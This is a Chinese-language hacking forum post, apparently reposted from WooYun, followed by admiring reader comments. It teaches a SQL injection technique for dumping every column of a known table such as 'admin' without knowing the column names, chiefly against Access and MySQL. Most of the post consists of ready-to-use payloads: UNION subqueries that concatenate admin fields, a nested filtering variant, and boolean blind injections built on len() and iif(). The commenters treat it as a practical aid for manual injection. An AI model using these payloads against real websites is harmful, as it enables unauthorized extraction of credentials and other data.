一个注入小技巧:利用子查询忽略字段名
之前在乌云发过,不知非首发还算不算原创
嗯。。其实我只是需要个发帖数来看帖子,一时间想不到发什么只能发个旧的了
---------
条件:已知表名,字段名未知,数据库本身支持子查询
对付access和mysql4.0.5以上比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据
思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。
例如有注入点:
select title,time,author,content from article where id={inject here}
先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:
select title,time,author,content from article where id=999999999
union select 1,2,3,4 from(
select * from admin order by 1
)
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
select title,time,author,content from article where id=999999999
union select 1,2,3,
field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5
from(
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
)
select title,time,author,content from article where id=999999999
union select 1 as x,2 as xx,3 as xxx,
Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx
from(
select 1,2,3,4,5 from admin where 1=2
union select * from admin
)
需要加条件的时候,再套一层子查询:
select title,time,author,content from article where id=999999999
union select 1,2,3,
field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(
select * from (
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
) where field_1 not in (1)
)
select title,time,author,content from article where id=999999999 or(
select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5
from admin where 1=2
union select * from admin
)
)>0
select title,time,author,content from article where id=999999999 or
iif(
(select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5
from admin where 1=2
union select * from admin
)
)>0,
1,
(select 2 from multi_rows_table)
)=1
最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。
“妈妈再也不担心我的access注入了!”
评论32次
好猥琐的思路,牛。。。
头像很屌,wooyun上一样。找到大神原文:http://zone.wooyun.org/content/15879,肯定是原创。思路活
access。。对这个真的有效么。。现在就对他特挺头疼的
这个不得不赞》。。妈妈再也不用担心我的access了
nice,思路很赞
先收藏,每次找不到表都捉急啊
Good!手注的福音
非常不错的技巧,收藏了
这个确实有用。
这个思路真不错。。再也不为ACCESS头痛了。
好猥琐的技巧。。。每次注acc就头大。。以后就不大了